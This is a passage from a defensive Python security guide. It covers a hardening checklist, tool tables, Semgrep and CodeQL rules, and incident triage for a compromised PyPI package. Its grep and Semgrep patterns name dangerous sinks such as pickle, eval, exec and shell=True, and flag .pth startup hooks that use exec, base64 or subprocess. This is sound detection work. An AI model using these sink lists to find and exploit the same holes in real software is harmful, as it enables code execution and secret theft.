os.O_NOFOLLOWwhen following-untrusted-symlinks is a risk. - Never concatenate user input into paths — use
pathlib.Pathwith.resolve()and prefix check.
Cryptography#
secretsmodule for tokens, keys, password resets.hmac.compare_digestfor any secret comparison.cryptographypackage (notpycryptodomefor new code — both fine, butcryptographyis the mainstream choice).argon2-cffiorbcryptfor password hashing.
HTTP client#
import requests
s = requests.Session()
s.verify = True # explicit
s.headers.update({"User-Agent": "myapp/1.0"})
r = s.get(url, timeout=(3, 10), allow_redirects=False) # control redirects yourself
Set timeouts always (default is infinite).
Logging#
- Never log request bodies, auth headers, cookies, or tokens.
- Use
logging.Filterto scrub PII. - Log security events (auth failures, authz denials, file access) at a distinct level to separate destinations.
Secrets#
.envonly for local dev;gitignoreit.- Prod: AWS Secrets Manager, GCP Secret Manager, Vault, SOPS, Doppler.
- Rotate
SECRET_KEY/JWT_SECRETperiodically. - Assume any secret committed to Git is burned — rotate, don’t just
git rm.
Dependency hygiene#
- Pin all direct deps with hashes.
- Reproducible lockfile in CI.
- Weekly
pip-auditrun. - Monitor GitHub Security Advisories (or Dependabot, Snyk, Aikido).
18. Hardening Checklist#
Application#
- Python version is in-support (3.11+, ideally 3.12/3.13).
- Virtualenv or container isolates deps from system Python.
-
DEBUG/ debug toolbars off in production. - No
eval/exec/compileon user input (Bandit B102/B307 clean). - No
pickle.load(s)/yaml.loadon untrusted input (Bandit B301/B506 clean). - No
subprocess(..., shell=True)with interpolation (Bandit B602/B605 clean). - All HTTP clients set timeouts.
-
verify=Falsenot present (Bandit B501 clean). -
cryptography/secrets/argon2used, notrandom/md5/sha1for security. -
defusedxmlfor XML;jsonfor interchange. -
safe_loadonly for YAML. -
tarfile/zipfileextraction uses member filtering.
Framework#
- Django:
DEBUG=False,ALLOWED_HOSTSset,SECURE_*headers, CSRF on, PickleSerializer not used. - Flask: not
app.run(debug=True),SECRET_KEYfrom secret manager, secure cookies. - FastAPI:
response_modelalways set, JWT algorithms explicit, Pydanticextra="forbid". - Templates auto-escape on; no
mark_safe/|safeon user input. - SSTI pattern
render_template_string(user_input)absent.
Dependencies#
-
requirements.txt/pyproject.tomllocked with hashes. -
pip install --require-hashesin CI. - SCA scanner enabled (pip-audit / Snyk / Aikido / Dependabot).
- Malicious-package scanner (Phylum / Socket / Aikido SafeChain).
- New packages age-gated (cool-off period).
- Internal PyPI mirror for production dependencies.
CI/CD#
- GitHub Actions pinned to commit SHA, not tag.
- Trusted Publishers (OIDC) for PyPI upload, not long-lived tokens.
- Bandit + Semgrep run on every PR.
- Secret scanning pre-commit (gitleaks / detect-secrets).
- SBOM generated (
cyclonedx-pyorsyft). - Build runs in ephemeral runners.
- No secrets in build logs.
Runtime#
- Container runs as non-root.
- Read-only filesystem where possible.
-
seccompprofile blocking uncommon syscalls. - Egress firewall / allow list.
- No access to cloud metadata from app processes (IMDSv2 + hop limit 1, or egress blocked).
- Structured logging to a SIEM.
-
.pthfiles audited:find . -name '*.pth' -print0 | xargs -0 grep -lE 'exec|base64|subprocess'.
19. Tool Reference#
Code security#
| Tool | Scope | Strength |
|---|---|---|
| Bandit | Python AST patterns | Fast, zero-config, CI-friendly |
| Semgrep | Pattern + taint | Custom rules in YAML |
| CodeQL | Full dataflow | Deepest analysis, slower |
| Ruff | Lint + some security | Fastest linter; S ruleset mirrors Bandit |
| Pyre / Pysa | Taint (Meta) | Targets web frameworks |
| mypy / pyright | Type checking | Catches type confusion bugs |
Dependency & supply chain#
| Tool | Scope |
|---|---|
| pip-audit | PyPA official CVE scanner |
| Safety | Commercial DB, free tier |
| Snyk | SCA + reachability + license |
| OWASP Dependency-Check | Generic SCA |
| Phylum / Socket | Behavioral package analysis |
| Aikido SafeChain | Cool-off + typosquat detection |
| cyclonedx-py | SBOM generation |
Runtime#
| Tool | Purpose |
|---|---|
| PyInstaller + hardening | Static binary minimization |
| Falco | Runtime syscall monitoring (K8s) |
| eBPF-based monitors (Tetragon, Tracee) | Process/file/net tracking |
| AppArmor / SELinux / seccomp | Syscall confinement |
| gVisor / Kata | Container sandboxing |
Training & labs#
- PyGoat — Django OWASP Top 10 lab.
- VulPy / vulpy — Deliberately vulnerable Flask apps.
- OWASP Juice Shop (Node.js, but concepts transfer).
- PortSwigger Web Security Academy — free framework-agnostic labs.
20. Detection Quick Reference#
Semgrep patterns (defensive)#
# Unsafe pickle load from HTTP
rules:
- id: flask-pickle-load
pattern-either:
- pattern: pickle.load(request.$X)
- pattern: pickle.loads(request.$X)
- pattern: pickle.load(io.BytesIO(request.$X))
message: Insecure deserialization of HTTP request data
severity: ERROR
languages: [python]
- id: flask-yaml-unsafe-load
patterns:
- pattern-either:
- pattern: yaml.load($X)
- pattern: yaml.load($X, Loader=yaml.Loader)
message: Use yaml.safe_load instead
severity: WARNING
- id: requests-verify-false
pattern: requests.$METHOD(..., verify=False, ...)
severity: ERROR
- id: exec-on-request
patterns:
- pattern-either:
- pattern: exec(request.$X)
- pattern: eval(request.$X)
severity: ERROR
Bandit quick commands#
bandit -r src/ # recursive
bandit -r src/ -ll # medium+ severity only
bandit -r src/ -f json -o out.json # machine-readable
bandit -r src/ --skip B101,B601 # exclude specific checks
bandit -c bandit.yaml -r src/ # custom config (exclude test files)
Grep patterns for triage#
# dangerous sinks
grep -rEn 'pickle\.loads?|yaml\.load\(|eval\(|exec\(|shell=True|verify=False' src/
# tarfile risk
grep -rEn 'tarfile\.open|\.extractall' src/
# hardcoded secrets heuristic
grep -rEn '(api[_-]?key|secret|token|password)\s*=\s*["'\'']' src/
# .pth startup hook audit
find / -name '*.pth' -exec grep -lE 'exec|base64|subprocess' {} \; 2>/dev/null
Incident triage for compromised package#
If a malicious version was installed (e.g., litellm 1.82.7/1.82.8):
- Isolate the host from the network.
- Preserve
~/.config/,/tmp/,site-packages/, shell history,journalctl. - Identify IoCs — file hashes,
.pthfiles, systemd user services you didn’t create. - Rotate all credentials the host had access to: SSH keys, cloud creds, git tokens, CI secrets, DB passwords, API keys, crypto wallets.
- Audit cloud — IAM activity logs, Secrets Manager / SSM Parameter Store access, new IAM users/roles.
- Audit Kubernetes — look for
node-setup-*pods, new service accounts, privileged pods inkube-system, new DaemonSets. - Rebuild the host from a clean image; do not attempt in-place cleanup.
- Retrospective — why did the compromised version land? Pin-by-SHA, require-hashes, cool-off period, trusted publishers, post-install scanning.
Common CodeQL sinks for Python#
# Sinks
python.Deserialization.PickleLoad
python.Deserialization.YamlLoad
python.CommandInjection.ShellCommand
python.CodeInjection.Eval
python.SsrfSinks.Request
python.PathInjection.FileOpen
python.SqlInjection.RawCursor
# Sources
python.Flask.RequestSource
python.Django.RequestSource
python.FastAPI.RequestSource
Closing Notes#
Python’s security posture in 2026 is dominated by three realities:
The language has no safe default for code-reachable untrusted input. Pickle, eval, subprocess, yaml.load, tarfile — all have historical safe alternatives, but the unsafe ones remain one-character shorter and one line less typing. Every project needs a SAST backstop.
Supply chain is now the highest-leverage attacker path. LiteLLM, Trivy, KICS, chimera-sandbox-extensions, telnyx, the PyTorch-nightly compromise, and the annual wave of typosquats all demonstrate that trust in PyPI is probabilistic, not absolute. Pin, hash, scan, cool-off, mirror.
The AI/ML stack is a new attack surface with old bugs. Hydra
instantiate, Langflowexec,torch.loadpickle gadgets, and LangChain code-generating agents are 2005-era RCE patterns in 2026-era wrappers. The defenders’ tools (sandboxes, allow lists, content type validation, pinned model revisions) are the same as always — but have to be applied earlier in the pipeline than any team is used to.
Treat every dynamic dispatch, every deserializer, every format string, every subprocess call, and every third-party dependency as a promise you are making on behalf of your users. The secrets, json, argparse, pathlib, cryptography, defusedxml, tomllib, safetensors, and subprocess (list form) modules exist specifically so you can keep that promise. Use them.
Compiled from 81 clipped research articles in raw/Python/ — covering Python language security, stdlib CVEs, Flask/Django/FastAPI/Pyramid frameworks, Jinja2 SSTI, pickle/YAML/PLY/PickleScan deserialization, AI/ML model format RCEs (NeMo, Uni2TS, ml-flextok, Hydra), Langflow and LiteLLM incidents, PyPI supply chain campaigns (chimera-sandbox-extensions, telnyx, LiteLLM), static analysis tooling (Bandit, Semgrep, CodeQL), and OWASP Top 10 as applied to Django (PyGoat).